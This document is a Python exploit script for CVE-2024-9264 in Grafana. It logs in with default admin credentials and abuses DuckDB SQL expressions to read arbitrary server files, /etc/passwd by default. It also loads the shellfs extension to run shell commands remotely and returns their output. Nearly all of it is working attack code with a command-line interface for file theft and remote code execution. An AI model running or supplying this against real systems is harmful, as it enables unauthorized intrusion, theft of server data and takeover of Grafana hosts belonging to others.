Загрузка данных


#!/usr/bin/env python3

import requests
import json
import sys
import argparse
from typing import List, Dict, Optional, Any
from psycopg2.extensions import adapt

# Простые замены для функций ten
def msg_success(msg):
    print(f"[+] {msg}")

def msg_failure(msg):
    print(f"[-] {msg}")

def failure(msg):
    print(f"[!] {msg}")
    sys.exit(1)

def inform(msg):
    def decorator(func):
        def wrapper(*args, **kwargs):
            print(f"[*] {msg}")
            return func(*args, **kwargs)
        return wrapper
    return decorator

def bin_print(data):
    sys.stdout.buffer.write(data)

def authenticate(session, user, password):
    path = "/login"
    data = {"password": password, "user": user}
    res = session.post(f"{session.base_url}{path}", json=data)
    msg = res.json()["message"]
    if msg == "Logged in":
        msg_success(f"Logged in as {user}:{password}")
    else:
        failure(f"Failed to log in as {user}:{password}")

def run_query(session, query):
    path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
    data = {
        "from": "1729313027261",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__",
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": "",
            }
        ],
        "to": "1729334627261",
    }

    res = session.post(f"{session.base_url}{path}", json=data)
    data = res.json()

    # Check for DuckDB not found error
    if "results" in data and "B" in data["results"]:
        result = data["results"]["B"]
        if "error" in result and "no such file or directory" in result["error"]:
            failure("DuckDB is not installed on the target system. This exploit requires DuckDB to be present in the system PATH.")
            return None

    if data.get("message"):
        msg_failure("Received unexpected response:")
        msg_failure(json.dumps(data, indent=4))
        return None

    try:
        values = data["results"]["B"]["frames"][0]["data"]["values"]
        if len(values) == 0:
            failure("File not found")
            return None

        msg_success("Successfully ran duckdb query:")
        msg_success(f"{query}:")
        return values
    except (KeyError, IndexError):
        msg_failure("Unexpected response format:")
        msg_failure(json.dumps(data, indent=4))
        return None

def decode_output(values):
    content = values[0][0]
    decoded = content.encode("utf-8").decode("unicode_escape").encode("latin1")
    return decoded

def read_remote_file(session, filepath):
    escaped_filename = adapt(filepath)
    query = f"SELECT content FROM read_blob({escaped_filename})"
    result = run_query(session, query)
    
    if result:
        return decode_output(result)
    return None

def execute_command(session, command):
    tmp_file = "/tmp/grafana_cmd_output"
    full_query = (
        "SELECT 1;"
        "install shellfs from community;"
        "LOAD shellfs;"
        f"SELECT * FROM read_csv('{command} >{tmp_file} 2>&1 |')"
    )

    run_query(session, full_query)
    return read_remote_file(session, tmp_file)

def main():
    parser = argparse.ArgumentParser(description="Exploit for Grafana post-auth file-read and RCE (CVE-2024-9264)")
    parser.add_argument("url", help="URL of the Grafana instance to exploit")
    parser.add_argument("-u", "--user", default="admin", help="Username to log in as, defaults to 'admin'")
    parser.add_argument("-p", "--password", default="admin", help="Password used to log in, defaults to 'admin'")
    parser.add_argument("-f", "--file", help="File to read on the server, defaults to '/etc/passwd'")
    parser.add_argument("-q", "--query", help="Optional query to run instead of reading a file")
    parser.add_argument("-c", "--command", help="Optional command to execute on the server")
    
    args = parser.parse_args()

    if sum(1 for x in [args.file, args.query, args.command] if x is not None) > 1:
        failure("Cannot specify more than one of: file, query, or command arguments.")

    # Простой класс для сессии вместо ScopedSession
    class SimpleSession:
        def __init__(self, base_url):
            self.base_url = base_url
            self.session = requests.Session()
        
        def post(self, path, **kwargs):
            return self.session.post(path, **kwargs)
        
        def get(self, path, **kwargs):
            return self.session.get(path, **kwargs)

    session = SimpleSession(args.url)
    authenticate(session, args.user, args.password)

    if args.command:
        msg_success(f"Executing command: {args.command}")
        output = execute_command(session, args.command)
        if output:
            bin_print(output)
        return

    if not args.query:
        filepath = args.file or "/etc/passwd"
        msg_success(f"Reading file: {filepath}")
        content = read_remote_file(session, filepath)
        if content:
            bin_print(content)
        return

    content = run_query(session, args.query)
    if content:
        print(json.dumps(content, indent=4))

if __name__ == "__main__":
    main()